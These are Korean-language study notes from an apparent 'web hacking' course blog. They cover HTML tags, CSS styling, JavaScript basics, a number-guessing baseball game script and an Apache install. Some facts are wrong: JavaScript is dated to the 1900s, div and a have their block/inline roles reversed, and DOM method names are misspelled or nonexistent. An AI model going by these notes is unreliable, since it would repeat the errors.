3.배열(Array)

-python의 리스트와 같은 기능





[실습]: 야구 게임

-임의의 수: 347

-같은수는 없다

-입력: 123-> 1B 20

-입력: 456-> 1B 20

-입력: 789-> 1B 2O


-10번 이내에 수를 맞추는 게임 

-10번 이내에 수를 맞추지 못하면 게임은 종료





<script>

                var a = "347"; //a를 문자열로 지정(배열을 쓰기 위해서)


                for ( var i = 0; i < 10; i++ ) { // 10번 할수있는 기회가 있고 


                  var strike = 0;

                  var ball = 0; //strike,ball,out 모두 0으로 초기화 한다

                  var out = 0;


                  b = prompt("input number");//입력 받은 숫자는 b에 저장한다 


                  if( b[0] === a[0] ) { strike++; }

                  else if ( b[0] === a[1] || b[0] === a[2] ) { ball++; }

                  else { out ++; }


                  if( b[1] === a[1] ) { strike++; }

                  else if ( b[1] === a[0] || b[1] === a[2] ) { ball++; }

                  else { out ++; }


                  if( b[2] === a[2] ) { strike++; }

                  else if ( b[2] === a[0] || b[2] === a[1] ) { ball++; }

                  else { out ++; }


                  alert("strike: " + strike + ", ball: " + ball + ", out: " + out );


                  if( strike == 3 ) { break; }

                }


                if( i < 10 ) { document.write("correct!!!"); }

                else { document.write("failed..."); }

        </script>



언어 공부는 꼭 할것!!


언어(x)->툴(공격 툴)



1.BOM(Browser Object Model):브라우저를 제어하는게 가능하다

window

history

location

...


2.*DOM(Document Object Model)*


1).elements


getElemnetsByTagName()

getElemnetsByClassName()

getElemnetsByid()

getElemnetsByName()


-일반 속성,스타일,이벤트 전부 제어하는게 가능


 <script>

                function check_click()

        {

                alert('click!!');

        }

</script>



<h1 align=center onclick='check_click()'>talie Cole </h1><br>



이런식으로 이벤트 제어가 가능하다 




클릭,우클릭을 막아 놓은 사이트 


 document.oncontextmenu = new Function ('return false');

 document.ondragstart = new Function ('return false');

 document.onselectstart = new Function ('return false');

 document.body.style.MozUserSelect = 'none';

 

 자바 스크립트로 우회해서 변조가 가능하다


 이벤트를 최대한 많이 사용해보고 어떤게 쓰이는지 알아두면 좋다


클라이언트측 언어(Clientside Language)

-HTML,javascript,XML,.....

-사용자의 웹 브라우저에서 실행(서버하고는 전혀 상관이 없다)

-HTTP



서버측 언어(Serverside Language )

-PHP,pthon,..

 


Javascript

-1900년대 넷스케이프에 의해서 제일 처음 도입

-넷스케이프의 점유율이 90%이상

-다른 웹 브라우저도 지원을 안할수 없었음

-비주얼 베이직,액션 스크립트,...

-현재는 웹 표준이 되었다.

-java와는 전혀 상관이 없다




실행


1).콘솔에서 직접 실행

개발자 도구 크롬(F12)

F12->개발자 도구 ->console




2).URL 입력창을 통해 직접 실행이 가능하다 

javascript:코드




3)index.html 

페이지에 직접 넣어도 상관이 없다 

alert("alert!!!!!:);



입/출력: *웹 브라우저*<어디서 발생하는지 인지를 항상 하고있어야한다>

-서버와는 아무 상관이 없다.

-웹 브라우저에서 어떠한 자바스크립트 코드를 사용하든 서버는 알 수 없다. 

-서버에 값을 전달하고 싶은 경우 소켓으로 통해 직접 전달이 가능하다






1.입력

1).prompt

ex)prompt("input:  ");


2). confrim

ex)confirm("yes of no")




2.출력


1)콘솔

-console.log("Hello world");


2)화면 

document.write("Hello,Javascript<br>");


입출력 예시)


<html>



<head>

        <script>

                console.log("asfas,javascrot");

                console.log( confirm("yes of no") );

                document.write("gefaedas");

                document.write(prompt("ANY INPUT"));

        </script>


</head>


<body>

</body>


</html>



자료형 

-문자열(",'구별없이 사용이 가능하다),숫자(실수,정수)


변수

-변수를 정의해서 사용(선언 x)

-var 변수이름=값;

-지역번수 vs 전역변수 구분할때 var이 중요하다

var이 없으면 무조건 전역변수로 사용되기 때문에 구분을 위에 알아야한다

-변수의 이름을 짓는 규칙도 동일하다




비교 연산자


같다

1).= =(타입은 보지않는다 값이 같으면 같다고 표현한다 취약점에서 많이 쓰인다)

2).= = =(타입까지 보고 싶으면 3개를 써야한다)


같지않다(!=,!==)







3일차


!웹 해킹은 웹에 대해서 잘 알면 알수록 쉬워진다.



문서를 나타내는 태그(요소)


-제목,단락,링크,



Html 그림: img태그



-src:그림에 대한 경로/URL을 적어줘야한다

<img src="http://uhd.img.topstarnews.net/wys4/file_attach/2017/07/13/1499928397-25.jpg"/>

이런식으로 사용가능하다 img태그도 셀프태그라서 따로 설정할게 없다 

-인라인 태그

-width:픽셀 단위 20,20px,20%

-height:픽셀 단위 


url 말고 파일로도 설정이 가능하다 (리눅스에 파일 넣는법)


링크:a,link

-관련 있는 파일을 해당 페이지와 연결

-type: text/css

-href: path or url

-rel:  파일 정보 

*디자인적인 요소 *





블록 태그:h,p,a

요소 하나가 한 블럭을 차지한다 

한태그가 한블럭을 전부다 차지한다고 보면된다


인라인 태그:img,div

하나의 요소가 한블럭은 전부 차지하지 않는다 









스타일 속성

-글로벌 속성 

-배경색 지정 

background-color:red

background-color:#RGB

background-image:url/path

<p style="background-color:red">

 

background-image:url/path




태그를 묶어서 특성을 표현할때 사용한다

예를 들어서 p태그로 여러개 있을때 


<p id="">

<p class="">

      각자 식별자를 지정하고 묶어서 스타일을 지정할수있다 



id,class

-id: 요소를 식별하는 식별자를 지정

-유일한 식별자

-id를 사용하는 요소가 하나뿐인 경우

id는 앞에 #을 붙이면 되고


-class:요소를 식별하는 식별자

-그룹 식별자

-여러 요소를 그룹화 하는 경우

class는 .을 붙이면 된다



표:table


<table>    <!-- 테이블의 시작 -->  

<thead>  </thead><!-- 테이블의 정보 --> 

<tbody> <!-- 테이블의 내용--> 


<tr>

<th> </th> <!-- 제목을 강조하는 칼럼--> 

<td> </td>        <!-- 한 컬럼을 나타낸다-->

</tr>                          <!-- 한행을 나타낸다-->


</table>





합병 colspan=숫자 <!-- 테이블의 끝 --> 




bootstrapk < 디자인 서식을 가져다 쓰면 전문가 처럼 사용이 가능하다

<!-- 합쳐지고 최소화된 최신 CSS -->

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">


<head> 파일에 추가하고 쓰고싶은 특성을 찾아서 쓴다








웹 기초 프로그래밍


1.HTML

-Hypher Text Markup Language


    -엄밀하게 언어라고 말할 수는 없다.

-분기, 반족,함수, ....개념이 존재하지 않는다.


  -문서에 대한 구조를 정의


WEB 2.0

-> 플래시(액션 스크립트

-> 엑티브 엑스

-> 자바(애플릿)              과거에는 HTML을 동적으로 표현하기 위해서 사용

-> 자바스크립트

-> 비주얼 베이직 스크립트

...

WEB 3.0

-> HTML5 발표

-> 자바스크립트(표준) ->Ajax,jquery,node.js,.....

-> CSS

   프론트핸드


-> 의미론적인 웹



참고 사이트


1). 국내 사이트

-생활 코딩

-생활 코딩 + 구글 ->웹 프로그래밍(신청)



2). 외국 사이트 

-codecademy 

-w3school




2.환경 구성 


-HTML 문서를 공유하기 위해서는 서버가 필요

-웹 서버: 아파치(httpd)

-설치 


#yum search httpd

#yum -y install httpd.i686

#service httpd start


-설치 확인 홈페이지에 자기ip주소 검색하면 가능하다

-설정 파일: /etc/httpd/conf.d/*.conf

    /etc/httpd/conf/httpd.conf

-홈 디렉터리: /var/www/ (아파치 사용자의 홈디렉터리)


      /var/www/html/(문서의 홈 디렉터리)-안에 파일을 넣어 둘수 있다

      홈 디렉터리 안에만 넣어두면 브라우저를 통해서 확인이 가능하다


3.html 문서의 기본 구조




<html>  <!--html 문서의 시작을 나타냄 -->


<head>

  <!-- 문서의 정보 -->

<!-- 스크립트 -->

</head> <--!화면에 보이지 않는 내용들 -->


<body>  <--! 화면에 보여지는 내용들 -->

</body>


</html>  <--! html 문서의 끝 -->






1).태그(elements/요소)


-여는 태그(begin/opening): <tag name> 

-닫는 태그(end/closing) : </tag name>


-self closing: <tag name> or <tag name/>

-표현할 내용이 없는 태그들 


-문서의 형식을 나타낸다.


-요소:<tag name> contents..</tag name>






1). 제목 태그:heading


<h1></h1>: 가장 큰 제목

<h2></h2>: 중간 제목

<h3></h3>: 소제목

<h4></h4>

<h5></h5>

<h6></h6>

속성 align 정렬 

<h align=center>



2). 본문/단락 태그: paragrph,div,span...

  




<p>....</p>


<p> 마지막에 줄바꿈이 들어간다

<div> 줄바꿈이 들어가지 않는다



3-2. 속성(attribute

-여는 태그에서 설정 

-속성값을 통해서 세부적인 내용을 변경


1). 일반적인 속성

-태그에 종속적인 속성

-태그마다 속성은 다르다.


2). 글로벌 속성

-태그와 상관 없이 어떠한 태그든 사용 가능한 속성

-스타일 속성 



3). 이벤트 속성

-글로벌 속성이

-태그별로 이벤트를 지정



문서에서 사용되는 대표적인 태그


1.그림


2.표


3.링크(하이퍼 링크): anchor,link  문서와 관련된 다른 문서를 나타내는 표현



<a href="url"> 링크 제목 </a>



index.html < 기본 홈페이지다 만약 192.168.190.128로 서버주소와 페이지 이름없이

접속했을때는 index.html이 나온다 





4.목록(목차): ordered list, unordered list



<ol>

<li> </li>

<li> </li>

</ol>

 정렬, 비정렬 차이- 숫자가 있나 없나의 차이

리스트안에 리스트로 중첩이 가능하다



'웹 해킹' 카테고리의 다른 글

[Web해킹] 6일차 3x3 사진첩 만들기/mysql 기본 설정하기  (0) 2017.11.21
[Web해킹]5일차 php  (0) 2017.11.16
[Web해킹]4일차 javascript  (0) 2017.11.16
[Web해킹]3일차 javascript  (0) 2017.11.16
[Web해킹]3일차 HTML 태그  (0) 2017.11.15

+ Recent posts